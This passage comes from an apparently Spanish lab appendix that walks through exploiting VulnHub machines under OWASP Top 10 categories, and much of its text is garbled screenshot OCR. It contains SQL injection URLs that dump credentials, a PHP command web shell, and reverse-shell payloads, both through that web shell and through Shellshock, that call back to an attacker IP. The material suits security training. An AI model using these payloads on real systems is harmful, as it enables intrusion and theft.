me,5,6,7%20from%20information_schema.schemata%?20limit%201,1--%20- se
puede identificar la segunda base de datos configurada en el servidor (ver
Figura A.12).

Figura A.12
Identificacion de base de datos “BlackMarket” via SOL Injection

< C @ QO @& 192.168.10.19/vworkshop/sparepartsstoremo 120% ¢

Kali Linux #8 KaliTools = KaliDocs ¥ KaliForums e Kali NetHunter Exploit-DB

" Home Login Registration = Vehicle Service | Vehicle Store Spare Parts

Spare part name: abcd spare

Spare parts type : 3
Cost : BlackMarket

Spare parts serial No. : 5

7. Haciendo wuso de http:// http://192.168.10.19/vworkshop/sparepartsstoremore
.php?sparepartid=-1%27%20union%?20select%201,2,3,group_concat(table_name)
,5,6,7%20from%20information_schema.tables%20where%20table_schema=%27B
lackMarket%27--%20- se puede identificar las tablas en la base de datos
“BlackMarket” (ver Figura A.13).

8. Haciendo uso de http://192.168.10.19/vworkshop/sparepartsstoremore.php?spare
partid=-1%27%20union%20select%201,2,3,group_concat(column_name),5,6,7%
20from%20information_schema.columns%20where%20table_schema=%27Black
Market%27%20and%?20table_name=%27user%?27--%20- se puede identificar las
columnas de la tabla “user” en la base de datos “BlackMarket” (ver Figura A.14).

9. Haciendo uso de http://192.168.10.19/vworkshop/sparepartsstoremore.php?spar
epartid=-1%27%20union%20select%201,2,3,group_concat(username,0x3a,passw
ord),5,6,7%20from%20BlackMarket.user--%20- se obtiene las credenciales de los
usuarios registrados en el sistema (ver Figura A.15).

Obtenido el hash para el usuario admin se utiliza una herramienta para descubrir el

algoritmo de encriptacion y desencriptar la contrasefia (ver Figura A.16).
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http://192.168.10.19/vworkshop/sparepartsstoremore.php?sparepartid=-1%27%20union%20select%201,2,3,group_concat(table_name),5,6,7%20from%20information_schema.tables%20where%20table_schema=%27BlackMarket%27--%20-
http://192.168.10.19/vworkshop/sparepartsstoremore.php?sparepartid=-1%27%20union%20select%201,2,3,group_concat(table_name),5,6,7%20from%20information_schema.tables%20where%20table_schema=%27BlackMarket%27--%20-
http://192.168.10.19/vworkshop/sparepartsstoremore.php?sparepartid=-1%27%20union%20select%201,2,3,group_concat(table_name),5,6,7%20from%20information_schema.tables%20where%20table_schema=%27BlackMarket%27--%20-
http://192.168.10.19/vworkshop/sparepartsstoremore.php?sparepartid=-1%27%20union%20select%201,2,3,group_concat(table_name),5,6,7%20from%20information_schema.tables%20where%20table_schema=%27BlackMarket%27--%20-
http://192.168.10.19/vworkshop/sparepartsstoremore.php?sparepartid=-1%27%20union%20select%201,2,3,group_concat(column_name),5,6,7%20from%20information_schema.columns%20where%20table_schema=%27BlackMarket%27%20and%20table_name=%27user%27--%20-
http://192.168.10.19/vworkshop/sparepartsstoremore.php?sparepartid=-1%27%20union%20select%201,2,3,group_concat(column_name),5,6,7%20from%20information_schema.columns%20where%20table_schema=%27BlackMarket%27%20and%20table_name=%27user%27--%20-
http://192.168.10.19/vworkshop/sparepartsstoremore.php?sparepartid=-1%27%20union%20select%201,2,3,group_concat(column_name),5,6,7%20from%20information_schema.columns%20where%20table_schema=%27BlackMarket%27%20and%20table_name=%27user%27--%20-
http://192.168.10.19/vworkshop/sparepartsstoremore.php?sparepartid=-1%27%20union%20select%201,2,3,group_concat(column_name),5,6,7%20from%20information_schema.columns%20where%20table_schema=%27BlackMarket%27%20and%20table_name=%27user%27--%20-
http://192.168.10.19/vworkshop/sparepartsstoremore.php?spar%20epartid=-1%27%20union%20select%201,2,3,group_concat(username,0x3a,passw%20ord),5,6,7%20from%20BlackMarket.user--%20-
http://192.168.10.19/vworkshop/sparepartsstoremore.php?spar%20epartid=-1%27%20union%20select%201,2,3,group_concat(username,0x3a,passw%20ord),5,6,7%20from%20BlackMarket.user--%20-
http://192.168.10.19/vworkshop/sparepartsstoremore.php?spar%20epartid=-1%27%20union%20select%201,2,3,group_concat(username,0x3a,passw%20ord),5,6,7%20from%20BlackMarket.user--%20-

Figura A.13
Identificacion de tablas en la base de datos “BlackMarket” via SQL Injection

< C @ O A& 192.168.10.19/vworkshop/sparepartsstoremo 120% ¥ s =

KaliLinux @& KaliTools <« KaliDocs & KaliForums e\ Kali NetHunter Exploit-DB »

Home Login Registration Vehicle Service Vehicle Store Spare Parts

Spare part name: abcd spare

Spare parts type : 3

Cost:
cart,category,customer,flag,inventory,product,sales,sales_detail,supplier,user

Spare parts serial No. : 5

Figura A.14
Identificacion de columnas de la tabla “user” en la base de datos “BlackMarket” via
SQL Injection

< C @ O @& 192.168.10.19/vworkshop/sparepartsstoremo 120%  1¥ S =

KaliLinux #& KaliTools « KaliDocs N Kali Forums e\ Kali NetHunter Exploit-DB »

'Home Login Registration Vehicle Service Vehicle Store Spare Parts

Spare part name: abcd spare

Spare parts type : 3

Cost : userid,username,password,access

Spare parts serial No.: 5

A03:2021 — Inyeccion

Para este apartado se explota el servidor vulnerable “VENOM:1” de la plataforma

VulnHub.
Los pasos a seguir para la explotacion son:

1. Descargar e integrar en el laboratorio de pruebas el servidor vulnerable
“VENOM:1” disponible en el enlace https://www.vulnhub.com/entry/venom-
1,701/.
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Figura A.15

Identificacion de credenciales de usuarios del sistema via SQL Injection

< & O A 192.168.10.19/vworkshop/sparepartsstorn &  120% ¥ )

Kali Linux #5 KaliTools = KaliDocs M Kali Forums e Kali NetHunter Exploit-DB

Vehicle Service Vehicle Store Spare Parts

Spare parts type : 3

Cost:
admin:cfl8233438b%e88937eall176f1311885,user:0cd8d5cd06832b29560745Tedelb941ct,supplier:99b0e8da2de29edcchy
:cbb8d2a0335¢c79353210ad516987adlc

Spare parts serial No. : 5

Figura A.16

Descifrado del hash MD5 para el usuario admin

Hashes

A Proceeded!
1 hashes were checked: 1 found 0 not found

v Found:

ct18233438b9e889372a01761T1311885: BigBossCIA:MDS

2. Realizar un escaneo ARP para identificar la direccion IP del servidor vulnerable
(192.168.10.8) una vez integrado en el laboratorio de pruebas (ver Figura A.17).

Figura A.17
Escaneo ARP en la interfaz ethl para identificar la IP del servidor “VENOM:1"”

[sudo] i:
Interfa L Ly EN1BME, MAC: @ 22 a6, IPv4: 192.168.10.158
WARNTH b en M ndor file t: 1ission denied
R G L ndor file r Permission denied
256 hosts (https: rithub.com/royhills/arp-scan

658.10. z 3 0O : 48 (Unknown: locally administered)
B c

(Unknown )
(Unknown )

658.10.2

ived by filter, @ p: ts dropped by kernel
1.1@.@: 256 hosts inned in 1.951 seconds (131.21 hosts/sec)

L ponded
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3. Realizar un escaneo de puertos abiertos al servidor vulnerable con la herramienta

nmap (ver Figura A.18).

Figura A.18

Escaneo de puertos abiertos en el servidor “VENOM:1" con nmap

/home/kali/Desktop/AB3_2021_Maquina_Venom_VulnHub/nmap

D € sS -sCy in-rate 5000 Pn 192.168.10.8
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-12 09:49 EDT
Nmap scan report for 192.168.10.8
Host is up (0.00021s latency).
Not shown: 65530 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| _http-title: Apache2 Ubuntu Default Page: It works
| _http-server-header: Apache/2.4.29 (Ubuntu)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
443/tcp open http Apache httpd 2.4.29
| _http-title: Apache2 Ubuntu Default Page: It works
| _http-server-header: Apache/2.4.29 (Ubuntu)
445/tcp open eleeU Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
MAC Address: ©8:00:27:12:1A:04 (Oracle VirtualBox virtual NIC)
Service Info: Hosts: VENOM, 127.@0.1.1; O0S: Unix

4. En un navegador acceder a la direccion http://192.168.10.8 e inspeccionar el cddigo

fuente de la pgina para identificar el hash oculto (ver Figura A.19).

Figura A.19
Inspeccion del codigo fuente de la pagina para identificacion de hash oculto
<« g O & 192.168.10.8 ® § =

KaliLinux & KaliTools # KaliDocs X KaliForums e Kali NetHunter Exploit-DB Google Hacking DB

using a web document root located elsewhere (such as in /srv) you may need to whitelist your
document root directory in /etc/apache2/apache2.conf

The default Ubuntu document root is /var/www/html. You can make your own virtual hosts under
fvar/www. This is different to previous releases which provides better security out of the box.

Please use the ubuntu-bug tool to report bugs in the Apache2 package with Ubuntu. However, check
existing bug reports before reporting a new bug.

Please report bugs specific to modules (such as PHP and others) to respective packages, not to the web
server itself.

follow this to get access on somewhere.....--=

. margin
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5. Utilizar https://crackstation.net para identificar y descifrar el hash que se obtuvo de

la pagina web en el paso 4 (ver Figura A.20).

Figura A.20

Identificacion y descifrado del hash oculto en la pagina de Apache en el servidor

&« C @ O B8 https://crackstation.net w ® 9

KaliLinux @ KaliTools « KaliDocs M Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB

Ty e Ty e eag e

Free Password Hash Cracker

5f2a66f947fa5690c26506f66bde5c23

. I'm not a robot

Crack Hashes

Supports: LM, NTLM, md2, md4, md5, md5{md5_hex), mdS-half, shal, sha224, sha256, sha3B4, sha512, ripeMD160, whirlpool, MySQL 4.1+ (shal({shal_bin)),
QubesV3.1BackupDefaults

Hash Result

6. Con el hash descifrado como usuario y contrasefia se realiza una conexion ftp para

descargar el archivo hint.txt (ver Figura A.21).

Figura A.21
Conexion ftp al servidor para descarga del archivo hint.txt

/home/kali/Desktop/A03_2021_Maquina_Venom_VulnHub/contenido
» 192,168.10.8
Connected to 192.168.10.8.
220 (vsFTPd 3.0.3)
Name (192.168.10.8:kali): hostinger
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
229 Entering Extended Passive Mode (|||44049])
150 Here comes the directory listing.
drwxr-xr-x 2 1002 1002 4096 May 21 2021 files
226 Directory send OK.
ftp> cd files
250 Directory successfully changed.
ftp> dir
229 Entering Extended Passive Mode (|||45502])
150 Here comes the directory listing.
-'W=-r—Ir— 10 0 384 May 21 2021 hint.txt
226 Directory send OK.
ftp> get hint.txt
local: hint.txt remote: hint.txt
229 Entering Extended Passive Mode (|[]41021])
150 Opening BINARY mode data connection for hint.txt (384 bytes).
100% |*hkhdhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhdhhhhhhhhrrin]| 384 502.00 KiB/s 00:00 ETA
226 Transfer complete.

65


https://crackstation.net/

7. Una vez descargado el archivo hint.txt se despliega el contenido para obtener la
clave cifrada de la administradora “dora” y las pistas para descifrar la misma (ver

Figura A.22),

Figura A.22

Obtencion de la clave cifrada de la administradora en el archivo hint.txt

/home/kali/Desktop/A03_2021_Maquina_Venom_VulnHub/contenido

hint. txt
Hey there ...

TODO —

* You need to follow the 'hostinger® on WXpOU2FHSnRVbWhqY1lZGblpHMXNibHBYT1ld4amIWVmSXVEpzZDJIG
SFZuaz@= also aHROCHMELy9jcnlwdGlpLmNvbS9waXBlcy92awdlbmVyZS1jaXxBoZXI=

* some knowledge of cipher is required to decode the dora password ..

* try on vepam.hox

password --J L7f918aJ#pXUe+Q1234 §> deocode this you will get the administrator password

Have fun

8. Se utiliza la herramienta en linea “CyberChef” con el mddulo de descifrado
Vigenére y la llave “hostinger” para obtener la clave de la administradora de la

aplicacion web “dora” (ver Figura A.23).

Figura A.23
Descifrado de la clave de la administradora de la aplicacion web

¢  ® Vigenére Decode - Cyber X +
(= € O B https://gchg.github.io/ _hef/irecipe=Vigenére_D w g =
KaliLinux #& KaliTools =« KaliDocs & Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB

Download CyberChef ¥ Last build: 3 months ago - Version 10 is here! Read about t... Options ¢ About
Operations Recipe By Input + Oz 1§ =

- L7fol8@l)#pkle+Q123
vigenere Vigenére Decode axip Q1254
Vigenére Decode Key

hostinger

Vigenére Encode

Favourites *
mec 18 = 1 Tr Raw Bytes < LF
Data format
Output O m:o:
Encryption | Encoding g a D
[E7rot8@Q#hkHy+M1234
Public Key

Arithmetic / Logic

Networking

Language STEP BAKE| Auto Bake ;-: 1\ = @pﬁ-:sF Tr Raw Bytes
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9. El servidor vulnerable “VENOM:1” presenta adecuadamente la interfaz de la
aplicacion que aloja cuando resuelve “venom.box”, razén por la que es necesario
modificar el archivo /etc/hosts con la direccion IP y alias de servidor (ver
Figura A.24).

Figura A.24
Edicidn del archivo /etc/hosts para incluir el alias venom.box a la IP del servidor

File Actions Edit View Help

GNU nano 7.2 fetc/hosts *

2 7.1 localhost
kali

venom. box]j

O A& venom.box w @ 9

KaliLinux # KaliTools « KaliDocs ¥ KaliForums e\ Kali NetHunter Exploit-DB Google Hacking DB

%KICKSTART Home Members Blog Login  Signup Q

The greatest place

10. Se crea el archivo inclusion.phar con codigo php como se muestra en la
Figura A.25.

Figura A.25
Creacion del archivo inclusion.phar

/home/kali/Desktop/A03_2021_Maquina_Venom_VulnHub/contenido
inclusion.pharf]

/home/kali/Desktop/A03_2021_Maquina_Venom_VulnHub/contenido
inclusion.phar

File Actions Edit View Help

GNU nano 7.2 inclusion.phar
H7php
echo "<pre>" . ($_ GET['emd']) . "
T

11. Con las credenciales de la administradora “dora”, obtenidas en el paso 8, se ingresa
al aplicativo web, se dirige a la ruta http://venom.box/panel/uploads/#elf 11_Lw, y

se carga el archivo creado en el paso 10 (ver Figura A.26).
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Figura A.26
Carga del archivo inclusion.phar en el aplicativo web

& venom.box/p: [#elf_[1_Lw ik B =

Google Hacking DB

KaliLinux 7 KaliTools = KaliDocs & KaliForums ¢\ Kali NetHunter Exploit-DB

#0 Subrion

Uploads

Dashboard 1!

Uploads

12. Cargado el archivo en al aplicativo web, en el navegador del cliente se ejecuta
http://venom.box/uploads/inlcusion.phar?cmd=pwd para verificar que se interpreta

los comandos ingresados en el parametro cmd (ver Figura A.27).

Figura A.27
Ejecucion del comando pwd via url en el servidor web

A venom.box/u T L -—

KaliLinux # KaliTools = KaliDocs & Kali Forums e\ Kali NetHunter % Exploit-DB % Google Hacking DB

fvar/www/html/subrion/uploads

13. Una vez verificado la interpretacion de comandos via url, se pone en escucha un
terminal en el puerto 4040 mediante el comando nc -nlvp 4040, y se ejecuta
http://venom.box/uploads/inclusion.phar?cmd=bash -c "bash -i >%26 /dev/tcp/192.
168.10.150/4040 0>%261" en el navegador para establecer una shell reversa

obteniendo el acceso remoto al servidor (ver Figura A.28).
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Figura A.28

Establecimiento de una shell reversa via url desde el servidor vulnerable

/home/kali/Desktop/A03_2021_Maquina_Venom_VulnHub/contenido
LO40

Listening on [any] 4040

C @ Q_ :bash -c "bash -i >%26 /dev/tcp/192.168.10.150/4040 0>%261" —> @ 0

Kali Linux & Kali Too gle Hacking DB

# http://venom.box/uploads/inclusion.phar?cmd=bash -c "l — Visit

/var/www/html/subrion/ug

@ 8 » e [

o o

/home/kali/Desktop/A83_2021_Maquina_Venom_VulnHub/contenido
4040
listening on [any] 4040
connect to [192.168.10.15@0] from (UNKNOWN) [192.168.10.8)] 39584

bash: cannot set terminal process group (897): Inappropriate ioctl for device
bash: no job control in this shell
ww-datagvenom: /var/www/html/subrion/uploads$

ww-datagvenom: /var/www/html/subrion/uploads$

A04:2021 — Disefio inseguro

Para este apartado se explota el servidor vulnerable “ICA:1” de la plataforma

VulnHub.
Los pasos a seguir para la explotacion son:

1. Descargar e integrar en el laboratorio de pruebas el servidor vulnerable “ICA:1”
disponible en el enlace https://www.vulnhub.com/entry/ica-1,748/.

2. Realizar un escaneo ARP para identificar la direccion IP del servidor vulnerable
(192.168.10.4) una vez integrado en el laboratorio de pruebas (ver Figura A.29).

Figura A.29
Escaneo ARP en la interfaz ethl para identificar la IP del servidor “ICA:1”

/home/kali/Desktop/AR4_2021_Maquina_ICA_VulnHub/nmap

ik GmbH
ik GmbH

3 responded
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3. Realizar un escaneo de puertos abiertos al servidor vulnerable con la herramienta

nmap (ver Figura A.30).

Figura A.30

Escaneo de puertos abiertos en el servidor “ICA:1” con nmap

/home/kali/Desktop/A04_2021_Maquina_ICA_VulnHub/nmap
1 168.10.4 Puertos_

4. En el navegador del cliente se escribe http://192.168.10.4 para verificar que el
servidor web vulnerable esté disponible (ver Figura A.31).

Figura A.31
Verificacion de disponibilidad del servidor vulnerable “ICA:1”

@ O & 192.168.10.4 (I

KaliLinux #8 KaliTools = KaliDocs & KaliForums e Kali NetHunter Exploit-DB Google Hacking DB

Workspace

Welcome to gdPM

Remember Me

Password forgotten?

qdPM 9.2
qdpm.net
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5. Con el uso de searchsploit se busca vulnerabilidades de la aplicacion qdPM 9.2
montada en el servidor web de prueba y se identifica una exposicion de contrasefias

sin necesidad de estar autenticado (ver Figura A.32).

Figura A.32

Busqueda de vulnerabilidades en la aplicacién gdPM 9.2

/home/kali/Desktop/AG4_2021_Maquina_ICA_VulnHub/contenido
gdPM 9.2

Exploit Title

6. Mediante el comando searchsploit -x php/webapps/50176.txt se revisa el contenido
del exploit qdPM 9.2 — Password Exposure (Unauthenticated) y se identifica la ruta
a un archivo .yml donde se almacenan las credenciales para la conexién a la base de
datos (ver Figura A.33).

Figura A.33
Exploit php/webapps/50176.txt para la aplicacién qdPM 9.2

root@kali: fhomefkali/Desktop/AQ4_2021_Maquina_ICA_VulnHub/contenido

File Actions Edit View Help

#f Exploit Ti gdPM 9.2 - DB Connection S5tring and Password Exposure (Unauthenticated)
epcn3rd)
t/projects/gdpm/files/latest/download
én: Ubuntu 20.04 ver running PHP 7.4

and connection

7. En el servidor de prueba se ingresa a la ruta identificada en el paso 6 y se verifica la

descarga del archivo databases.yml (ver Figura A.34).

Figura A.34
Descarga de archivo .yml en la ruta http://192.168.10.4/core/config/databases.yml

Q. 192.168.10.4/

‘ dat

KaliLinux #& Kali Tools
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8. En el contenido del archivo databases.yml se encuentra el usuario y contrasefia para
la conexion a mysgl, credenciales que son verificadas desde la maquina del atacante
(ver Figura A.35).

Figura A.35

Verificacion de credenciales para conexion a mysqgl

P ~[Downloads/databases.yml - Mousepad

File Edit Search View Document Help

B & : n

[l =+ - I = I, R FE R N )

[y

/home/kali/Desktop/ABL_2021_Maquina_ICA_VulnHub/contenido
gdpmadmin 192.168.10.4
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 185
Server version: 8.0.26 MySQL Community Server - GPL

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or "\h' for help. Type '\c' to clear the current input statement.

MysSQL [(none)]> show databases
-3

¥
s
Database
2
information_schema
mysql
performance_schema
qdpm
staff
Sys
A ———
rows in set (0.008 sec)

A05:2021 - Configuracion de seguridad incorrecta

Para este apartado se explota el servidor vulnerable “INSANITY:1” de la plataforma
VulnHub.

Los pasos a seguir para la explotacion son:

1. Descargar e integrar en el laboratorio de pruebas el servidor vulnerable
“INSANITY:1” disponible en el enlace https://www.vulnhub.com/entry/insanity-
1%2C536/.
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2. Realizar un escaneo ARP para identificar la direccion IP del servidor vulnerable

(192.168.10.10) una vez integrado en el laboratorio de pruebas (ver Figura A.36).

Figura A.36
Escaneo ARP en la interfaz ethl para identificar la IP del servidor “INSANITY:1”

/home/kall/Desktop/Aes 2021_Maquina_Insanity_VulnHub

do I ethl
Interface: ethl, type: EN1OMB, MAC: 08:00:27:2f:3a:a6, IPv4: 192.168.10.150
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.10.1 0a:00:27:00:00:48 (Unknown: locally administered)
192.168.10.2 08:00:27: 5 PCS Systemtechnik GmbH
192.168.10.2 08:00:27: : PCS Systemtechnik GmbH (DUP: 2)
192.168.10.10 08:00:27: 05 98:87 PCS Systemtechnik GmbH

4 packets received by filter, @ packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.069 seconds (123.73 hosts/sec). 3 responded

3. Realizar un escaneo de puertos abiertos al servidor vulnerable con la herramienta

nmap (ver Figura A.37).

Figura A.37
Escaneo de puertos abiertos en el servidor “INSANITY:1" con nmap

/home/ka11/Desktop/A05 2021_Maquina_Insanity_VulnHub/nmap
‘ate 5000 f 192.168.10.10 -oG Puertos_Abiertos
Starting Nmap 7.94 ( https: //nmap org ) at 2023-10-15 05:16 EDT
Nmap scan report for 192.168.10.10
Host is up (0.00055s latency).
Not shown: 65500 filtered tcp ports (no-response), 32 filtered tcp ports (host-prohibited)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.2
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: ERROR
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:192.168.10.150
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 4
| vsFTPd 3.0.2 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 85:46:41:06:da:83:04:01:b0:e4:1f:9b:7e:8b:31:9f (RSA)
| 256 e4:9c:bl 4:f1:f0:4b:c3:80:93:29:5d:96:98:d3 (ECDSA)
|_ 256 65:cf:b4:a d:86:56:ef:ae:8b:bf:f2:f0:d9:be:10 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((Cent0S) PHP/7.2.33)

4. En el navegador del cliente se escribe http://192.168.10.10 para verificar que el
servidor web vulnerable esté disponible (ver Figura A.38).
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Figura A.38
Verificacion de disponibilidad del servidor vulnerable “INSANITY:1”

# == Insanity - UK and Europs 2} Settings

@ O & 192.168.10.10 © 8
KaliLinux # KaliTools = KaliDocs % KaliForums e Kali NetHunter ) ) Google Hacking DB

. =

Hami.

5. Del repositorio GitHub se clona “SecLists”, una coleccion de multiples listas

utilizadas para pruebas de seguridad, en el directorio /usr/share/ (ver Figura A.39).

Figura A.39
Clonacion de “SecLists” del repositorio GitHub

/usr/share
/usr/share

/usr/share
clone https://github.com/danielmiessler/SeclLists.git
Cloning into 'Seclists' ...
remote: Enumerating objects: 12477, done.
Receiving objects: 56% (7097/12477), 369.32 MiB | 4.56 MiB/s

6. Se instala la herramienta gobuster mediante el comando apt install gobuster (ver
Figura A.40).

Figura A.40

Instalacion de la herramienta gobuster

/home/kali/Desktop/A05_2021_Maquina_Insanity_VulnHub
install gobuster
Reading package lists ... Done
Building dependency tree... Done
Reading state information... Done
The following packages were automatically installed and are no longer required:
gcc-12-base libgcc-12-dev libobjc-12-dev libstdc++-12-dev libtexluajit2 python3-jdcal
Use 'sudo apt autoremove' to remove them.
The following NEW packages will be installed:
gobuster
@ upgraded, 1 newly installed, @ to remove and 51 not upgraded.
Need to get 2,504 kB of archives.
After this operation, 8,091 kB of additional disk space will be used.
Get:1 http://mirror.cedia.org.ec/kali kali-rolling/main amd64 gobuster amd64 3.6.0-0kalil [2,504
kB]
Fetched 2,504 kB in 2s (1,540 kB/s)
Selecting previously unselected package gobuster.
(Reading database ... 395156 files and directories currently installed.)
Preparing to unpack ... /gobuster_3.6.0-@kalil_amd64.deb
Unpacking gobuster (3.6.0-0kalil)
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7. Utilizando gobuster se ejecuta un ataque para el listado de directorios del servidor
web “INSANITY:1” (ver Figura A.41).

Figura A.41
Listado de directorios del servidor web “INSANITY: 1" con gobuster

/home/kali/Desktop/A05_2021_Maquina_Insanity_VulnHub
dir -u http://192.168.10.10 -w /usr/share/SecLists/Discovery/Web-Content/directory-
list-2.3-medium. txt

Gobuster v3.6
by 0J Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

Url: http://192.168.10.10

Method: GET

Threads: 10

Wordlist: /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.

Negative Status codes: 404
User Agent: gobuster/3.6
Timeout: 10s

I T
Nt b bd P hd b hd b

[
[
[
[
t
[
[
[

Starting gobuster in directory enumeration

/img t 1) [Size:
/news 1) [Size:
/data 1) [Size:
/css t [Size:
/s t [Size:
/webmail 1) [Size:
/fonts 1) [Size:
/monitoring 1) [Size:
/licence tus: 0) [Size:
/phpmyadmin t [Size:
Progress: 220560 / 220561 (100.00%)

NNNNNNON
W Wwwwwww
NN WS SW
Nl et b bd d b ]

w
~
Nt

Finished

8. Verificacion del directorio listado http://192.168.10.10/phpmyadmin en el

navegador del cliente (ver Figura A.42).

Figura A.42
Verificacion del directorio /phpmyadmin en el servidor web “INSANITY:1"

hpMyAdmin X | 8 Settings

O & 192.168.10.10 yadmin/ B w ®@ O

KaliLinux #& KaliTools = KaliDocs M Kali Forums e\ Kali NetHunter Exploit-DB % Google Hacking DB

php
Welcome to phpMyAdmin

Language

English v
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A06:2021 — Componentes vulnerables y desactualizados

Para este apartado se explota el servidor vulnerable “SYMFONOS:3.1” de la
plataforma VulnHub.

Los pasos a seguir para la explotacion son:

1. Descargar e integrar en el laboratorio de pruebas el servidor vulnerable
“SYMFONOS:3.1” disponible en el enlace https://www.vulnhub.com/entry/
symfonos-31,332/.

2. Realizar un escaneo ARP para identificar la direccion IP del servidor vulnerable
(192.168.10.11) una vez integrado en el laboratorio de pruebas (ver Figura A.43).

Figura A.43
Escaneo ARP en la interfaz ethl para identificar la IP del servidor “SYMFONOS:3.1”

/home/kali/Desktop/A06_2021_Maquina_Symfonos3_VulnHub

0 ail -1 ethl
Interface: ethl, type: EN1OMB, MAC: 08:00:27:2f:3a:a6, IPv4: 192.168.10.150
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.10.1 02:00:27:00:00:48 (Unknown: locally administered)
192.168.10.2 08:00:27:24:17:f5 PCS Systemtechnik GmbH
192.168.10.2 08:00:27:c0:b5:2f PCS Systemtechnik GmbH (DUP: 2)
192.168.10.11 08:00:27:88:be:bl PCS Systemtechnik GmbH

4 packets received by filter, @ packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.080 seconds (123.08 hosts/sec). 3 responded

3. Realizar un escaneo de puertos abiertos al servidor vulnerable con la herramienta

nmap (ver Figura A.44).

Figura A.44
Escaneo de puertos abiertos en el servidor “SYMFONOS:3.1” con nmap

/home/kali/Desktop/A06_2021_Maquina_Symfonos3_VulnHub/nmap
)— - ¢ 1N-1 > 5000 ~f 192.168.10.11 G Puertos_Abiertos
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-17 15:35 EDT
Nmap scan report for 192.168.10.11
Host is up (0.00010s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.5b
22/tcp open ssh OpenSSH 7.4pl Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
| 2048 cd:64:72:76:80:51:7b:a8:c7:fd:b2:66:fa:b6:98:0c (RSA)
| 256 74:e5:9a:5a:4c:16:90:ca:d8:f7:c7:78:e7:5a:86:81 (ECDSA)
|_ 256 3c:e4:0b:b9:db:bf:01:8a:b7:9c:42:bc:cb:1e:41:6b (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-title: Site doesn't have a title (text/html).
| _http-server-header: Apache/2.4.25 (Debian)
MAC Address: 08:00:27:88:BE:B1 (Oracle VirtualBox virtual NIC)
Service Info: 0Ss: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
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4. En el navegador del cliente se escribe http://192.168.10.11 para verificar que el

servidor web vulnerable esté disponible (ver Figura A.45).

Figura A.45
Verificacion de disponibilidad del servidor vulnerable “SYMFONOS:3.1”

® 192.168.10.11/ XN

= C @ O A 192.168.10.11 w )

KaliLinux # Kali Tools « KaliDocs ¥ Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB

5. Después de aplicar un proceso de listado de directorios se identifica la ruta
http://192.168.10.11/cgi-bin/underworld. Al ingresar a la ruta se presenta un timer
que hace sospechar de la ejecucion de cddigo bash por detras, volviéndolo

vulnerable a ataques de Shellshock en versiones antiguas de bash (ver Figura A.46).

Figura A.46
Verificacion de disponibilidad de la ruta http://192.168.10.11/cgi-bin/underworld

S 1 92.168.10.11/cgi-binfunderv. X +

&« C o O & 192.168.10.1/cgi-binfunderworld w7 @ 9 =

Kali Linux #8 KaliTools « KaliDocs ¥ KaliForums e\ Kali MNetHunter Exploit-DB Google Hacking DB 2>

09:38:46 up 8 min, 0 users, load average: 0.00, 0.00, 0.00

6. Desde el terminal se ejecuta un ataque Shellshock mediante el comando curl -s -X
GET "http://192.168.10.11/cgi-bin/underworld™ -H "User-Agent: () { :; }; echo;
/bin/bash -i >& /dev/tcp/192.168.10.150/1234 0>&1" para establecer una shell
reversa a la maquina del atacante con previa escucha en el puerto 1234 mediante el

comando nc -nlvp 1234 (ver Figura A.47).
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Figura A.47

Establecimiento de shell reversa con ataque tipo Shellshock

/hnmelkallfﬂesktnpliﬂﬁ 2021_Maquina_Symfonos3_VulnHub

/home/kal1/Desktop/A06 2021 Maqu1na Symfonos3 VuInHub/nmap

rworld Us

c -nlvp
listening on [a 234 ...
connect to [192.168.10.15@0] from (UNKNOWN) [192.168.1@.11] 52592
bash: no job control in this shell
cerberus@symfonos3: fusr/1lib/cgi-bing

7. Una vez establecida la shell reversa se verifica la version de bash con el comando

bash --version para corroborar la antigliedad de esta (ver Figura A.48).

Figura A.48
Verlf icacion de la version de bash en el servidor “SYMFONOS:3.1"

A07:2021 — Fallas de identificacion y autenticacion

Para este apartado se explota el servidor vulnerable “INFERNO:1.1” de la plataforma
VulnHub.

Los pasos a seguir para la explotacion son:

1. Descargar e integrar en el laboratorio de pruebas el servidor vulnerable
“INFERNO:1.1” disponible en el enlace https://www.vulnhub.com/entry/inferno-
11,603/.

2. Realizar un escaneo ARP para identificar la direccion IP del servidor vulnerable
(192.168.10.12) una vez integrado en el laboratorio de pruebas (ver Figura A.49).

3. Realizar un escaneo de puertos abiertos al servidor vulnerable con la herramienta
nmap (ver Figura A.50).

4. En el navegador del cliente se escribe http://192.168.10.12 para verificar que el

servidor web vulnerable esté disponible (ver Figura A.51).
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5. Después de aplicar un proceso de listado de directorios se identifica la ruta
